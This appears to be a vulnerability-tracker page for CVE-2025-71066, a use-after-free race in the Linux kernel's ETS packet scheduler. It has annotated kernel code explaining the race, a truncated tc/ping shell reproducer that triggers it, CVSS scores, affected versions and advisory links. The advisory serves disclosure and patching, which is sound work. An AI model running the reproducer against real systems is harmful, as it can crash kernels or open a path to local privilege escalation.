ets: Always remove class from active list before deleting in ets_qdisc_change
Linux Linux
At a glance
In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change [email protected] says: The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict,…
Full source description
In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change [email protected] says: The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc Reproducer Steps (trimmed version of what was sent by [email protected]) ``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}" SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
Source description · CVE List / CNA
System impact
CVSS summary v4.0
- Published:
- Updated:
- EPSS:
- 0.174%
- Exploited in attacks:
- Not confirmed
- Ransomware campaigns:
- Not confirmed
- Attack vector:
- Local
Affected software
Vendor, product and affected version ranges.
| Vendor | Product | Affected versions |
|---|---|---|
| Vendor:Linux | Linux | Affected versions:≥ 5.10.83, < 5.10.248Show full version range for Linux≥ 5.15.6, < 5.15.1985.16
Git commit ranges (source code)
|
| Vendor:Canonical | linux-allwinner-5.19Environments (1)
| Affected versions:Range not specifiedShow full version range for linux-allwinner-5.19
|
| Vendor:Canonical | linux-aws-5.19Environments (1)
| Affected versions:Range not specifiedShow full version range for linux-aws-5.19
|
| Vendor:Canonical | linux-aws-6.2Environments (1)
| Affected versions:Range not specifiedShow full version range for linux-aws-6.2
|
| Vendor:Canonical | linux-aws-6.5Environments (1)
| Affected versions:Range not specifiedShow full version range for linux-aws-6.5
|
| Vendor:Canonical | linux-azure-5.19Environments (1)
| Affected versions:Range not specifiedShow full version range for linux-azure-5.19
|
| Vendor:Canonical | linux-azure-6.2Environments (1)
| Affected versions:Range not specifiedShow full version range for linux-azure-6.2
|
| Vendor:Canonical | linux-azure-6.5Environments (1)
| Affected versions:Range not specifiedShow full version range for linux-azure-6.5
|
| Vendor:Canonical | linux-azure-fde-5.19Environments (1)
| Affected versions:Range not specifiedShow full version range for linux-azure-fde-5.19
|
| Vendor:Canonical | linux-azure-fde-6.2Environments (1)
| Affected versions:Range not specifiedShow full version range for linux-azure-fde-6.2
|
1–10 of 1091 · Page 1 of 110
CVSS scores and metrics16
canonical · Wazuh CTI (adp)Primary7.3 / 10HighCVSS 4.0Details
- Attack complexity
- High
- Confidentiality
- High
- Integrity
- High
- Availability
- High
- Attack vector
- Local
- Privileges required
- Low
- User interaction
- Not required
- Attack requirements
- Present
- Subsequent confidentiality
- None
- Subsequent integrity
- None
- Subsequent availability
- None
Source vector
CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NCISA-ADP · CVE List / CNA (adp)7.5 / 10HighCVSS 3.1Details
- Attack complexity
- High
- Confidentiality
- High
- Integrity
- High
- Availability
- High
- Attack vector
- Local
- Privileges required
- High
- User interaction
- Not required
- Scope
- Changed
Source vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:HLinux · CVE List / CNA (cna)7.8 / 10HighCVSS 3.1Details
- Attack complexity
- Low
- Confidentiality
- High
- Integrity
- High
- Availability
- High
- Attack vector
- Local
- Privileges required
- Low
- User interaction
- Not required
- Scope
- Unchanged
Source vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H134c704f-9b21-4f2e-91b3-4a467353bcc0 · NVD (Secondary)7.5 / 10HighCVSS 3.1Details
- Attack complexity
- High
- Confidentiality
- High
- Integrity
- High
- Availability
- High
- Attack vector
- Local
- Privileges required
- High
- User interaction
- Not required
- Scope
- Changed
Source vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H416baaa9-dc9f-4396-8d5f-8c081fb06d67 · NVD (Secondary)7.8 / 10HighCVSS 3.1Details
- Attack complexity
- Low
- Confidentiality
- High
- Integrity
- High
- Availability
- High
- Attack vector
- Local
- Privileges required
- Low
- User interaction
- Not required
- Scope
- Unchanged
Source vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HCVE-2025-71066 · OSV (source-vector)7.8 / 10HighCVSS 3.1Details
- Attack complexity
- Low
- Confidentiality
- High
- Integrity
- High
- Availability
- High
- Attack vector
- Local
- Privileges required
- Low
- User interaction
- Not required
- Scope
- Unchanged
Source vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hrocky · Wazuh CTI (adp)6.2 / 10MediumCVSS 3.1Details
- Attack complexity
- High
- Confidentiality
- Low
- Integrity
- Low
- Availability
- High
- Attack vector
- Local
- Privileges required
- Not required
- User interaction
- Not required
- Scope
- Unchanged
Source vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:Hsuse · Wazuh CTI (adp)7.0 / 10HighCVSS 3.1Details
- Attack complexity
- High
- Confidentiality
- High
- Integrity
- High
- Availability
- High
- Attack vector
- Local
- Privileges required
- Low
- User interaction
- Not required
- Scope
- Unchanged
Source vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:Hredhat · Wazuh CTI (adp)6.2 / 10MediumCVSS 3.1Details
- Attack complexity
- High
- Confidentiality
- Low
- Integrity
- Low
- Availability
- High
- Attack vector
- Local
- Privileges required
- Not required
- User interaction
- Not required
- Scope
- Unchanged
Source vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:HDISCARDED_CNA · Wazuh CTI (cna)7.5 / 10HighCVSS 3.1Details
- Attack complexity
- High
- Confidentiality
- High
- Integrity
- High
- Availability
- High
- Attack vector
- Local
- Privileges required
- High
- User interaction
- Not required
- Scope
- Changed
Source vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:HDISCARDED_CNA · Wazuh CTI (cna)7.8 / 10HighCVSS 3.1Details
- Attack complexity
- Low
- Confidentiality
- High
- Integrity
- High
- Availability
- High
- Attack vector
- Local
- Privileges required
- Low
- User interaction
- Not required
- Scope
- Unchanged
Source vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Halmalinux · Wazuh CTI (adp)6.2 / 10MediumCVSS 3.1Details
- Attack complexity
- High
- Confidentiality
- Low
- Integrity
- Low
- Availability
- High
- Attack vector
- Local
- Privileges required
- Not required
- User interaction
- Not required
- Scope
- Unchanged
Source vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:Horaclelinux · Wazuh CTI (adp)6.2 / 10MediumCVSS 3.1Details
- Attack complexity
- High
- Confidentiality
- Low
- Integrity
- Low
- Availability
- High
- Attack vector
- Local
- Privileges required
- Not required
- User interaction
- Not required
- Scope
- Unchanged
Source vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:Hredhat · Wazuh CTI (adp)4.7 / 10MediumCVSS 3.1Details
- Attack complexity
- High
- Confidentiality
- None
- Integrity
- None
- Availability
- High
- Attack vector
- Local
- Privileges required
- Low
- User interaction
- Not required
- Scope
- Unchanged
Source vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:HRed Hat · Red Hat VEX (adp)6.2 / 10MediumCVSS 3.1Details
- Attack complexity
- High
- Confidentiality
- Low
- Integrity
- Low
- Availability
- High
- Attack vector
- Local
- Privileges required
- Not required
- User interaction
- Not required
- Scope
- Unchanged
Source vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:HSUSE · SUSE VEX (adp)7.0 / 10HighCVSS 3.1Details
- Attack complexity
- High
- Confidentiality
- High
- Integrity
- High
- Availability
- High
- Attack vector
- Local
- Privileges required
- Low
- User interaction
- Not required
- Scope
- Unchanged
Source vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HCVSS measures severity; EPSS estimates exploitation probability. Lack of confirmed attacks does not mean lack of risk.
Sources and advisories165
- cve.org
- nvd.nist.gov
- OSV
- Wazuh CTI
- Red Hat VEX
- SUSE VEX
- FIRST EPSS
- git.kernel.org
- git.kernel.org
- git.kernel.org
- git.kernel.org
- git.kernel.org
- git.kernel.org
- git.kernel.org
- github.com
- git.kernel.org
- ubuntu.com
- ubuntu.com
- ubuntu.com
- ubuntu.com
- SUSE-SU-2026:21495-1
- SUSE-SU-2026:21496-1
- SUSE-SU-2026:21497-1
- SUSE-SU-2026:21498-1
- SUSE-SU-2026:21499-1
- SUSE-SU-2026:21501-1
- SUSE-SU-2026:21503-1
- SUSE-SU-2026:21504-1
- SUSE-SU-2026:21505-1
- SUSE-SU-2026:21506-1
- ubuntu.com
- ubuntu.com
- ubuntu.com
- ubuntu.com
- ubuntu.com
- ubuntu.com
- ubuntu.com
- ubuntu.com
- ubuntu.com
- SUSE-SU-2026:21522-1
- SUSE-SU-2026:21523-1
- SUSE-SU-2026:21526-1
- SUSE-SU-2026:21527-1
- SUSE-SU-2026:21528-1
- SUSE-SU-2026:21529-1
- SUSE-SU-2026:21531-1
- SUSE-SU-2026:21532-1
- SUSE-SU-2026:21533-1
- ubuntu.com
- ubuntu.com
- ubuntu.com
- ubuntu.com
- ubuntu.com
- ubuntu.com
- security-tracker.debian.org
- CVE-2025-71066
- SUSE CVE-2025-71066
- SUSE-SU-2026:0447-1
- SUSE-SU-2026:0472-1
- SUSE-SU-2026:0587-1
- SUSE-SU-2026:0928-1
- SUSE-SU-2026:0961-1
- SUSE-SU-2026:0984-1
- SUSE-SU-2026:1003-1
- SUSE-SU-2026:1041-1
- SUSE-SU-2026:1077-1
- SUSE-SU-2026:1081-1
- SUSE-SU-2026:1725-1
- ubuntu.com
- ubuntu.com
- ubuntu.com
- ubuntu.com
- SUSE-SU-2026:1776-1
- SUSE-SU-2026:1787-1
- SUSE-SU-2026:1793-1
- SUSE-SU-2026:1798-1
- SUSE-SU-2026:1801-1
- ubuntu.com
- SUSE-SU-2026:20477-1
- SUSE-SU-2026:20479-1
- SUSE-SU-2026:20498-1
- SUSE-SU-2026:20520-1
- ubuntu.com
- SUSE-SU-2026:20570-1
- SUSE-SU-2026:20599-1
- SUSE-SU-2026:20615-1
- SUSE-SU-2026:20794-1
- SUSE-SU-2026:20772-1
- SUSE-SU-2026:20819-1
- SUSE-SU-2026:20845-1
- SUSE-SU-2026:20872-1
- SUSE-SU-2026:20876-1
- SUSE-SU-2026:21114-1
- SUSE-SU-2026:21123-1
- SUSE-SU-2026:21129-1
- ubuntu.com
- SUSE-SU-2026:21468-1
- SUSE-SU-2026:21469-1
- SUSE-SU-2026:21470-1
- SUSE-SU-2026:21471-1
- SUSE-SU-2026:21472-1
- SUSE-SU-2026:21473-1
- SUSE-SU-2026:21474-1
- SUSE-SU-2026:21475-1
- SUSE-SU-2026:21476-1
- SUSE-SU-2026:21477-1
- ubuntu.com
- ubuntu.com
- ubuntu.com
- ubuntu.com
- ubuntu.com
- access.redhat.com
- lore.kernel.org
- linux.oracle.com
- bugzilla.redhat.com
- kernelcve.org
- access.redhat.com
- access.redhat.com
- bugzilla.redhat.com
- bugzilla.redhat.com
- bugzilla.redhat.com
- Mitre CVE-2025-71066
- RHSA-2026:36956
- RHSA-2026:36957
- RHSA-2026:39083
- SUSE-SU-2026:1131-1
- SUSE-SU-2026:1684-1
- SUSE-SU-2026:1686-1
- SUSE-SU-2026:1691-1
- SUSE-SU-2026:1694-1
- SUSE-SU-2026:1698-1
- SUSE-SU-2026:1708-1
- SUSE-SU-2026:1710-1
- SUSE-SU-2026:1728-1
- SUSE-SU-2026:1733-1
- SUSE-SU-2026:1735-1
- SUSE-SU-2026:1770-1
- SUSE-SU-2026:1771-1
- SUSE-SU-2026:1804-1
- SUSE-SU-2026:20555-1
- SUSE-SU-2026:21131-1
- SUSE-SU-2026:21479-1
- SUSE-SU-2026:21480-1
- SUSE-SU-2026:21481-1
- SUSE-SU-2026:21482-1
- SUSE-SU-2026:21483-1
- SUSE-SU-2026:21484-1
- SUSE-SU-2026:21485-1
- SUSE-SU-2026:21487-1
- SUSE-SU-2026:21491-1
- SUSE-SU-2026:21507-1
- SUSE-SU-2026:21508-1
- SUSE-SU-2026:21509-1
- SUSE-SU-2026:21510-1
- SUSE-SU-2026:21511-1
- SUSE-SU-2026:21512-1
- SUSE-SU-2026:21513-1
- SUSE-SU-2026:21514-1
- SUSE-SU-2026:21515-1
- SUSE-SU-2026:21554-1
- SUSE-SU-2026:21555-1
- SUSE-SU-2026:21562-1
- SUSE-SU-2026:21563-1
- SUSE-SU-2026:21591-1
- SUSE-SU-2026:21598-1
This product uses the NVD API but is not endorsed or certified by the NVD. CVE® records © The MITRE Corporation, reproduced under the CVE Terms of Use. Data sources and licences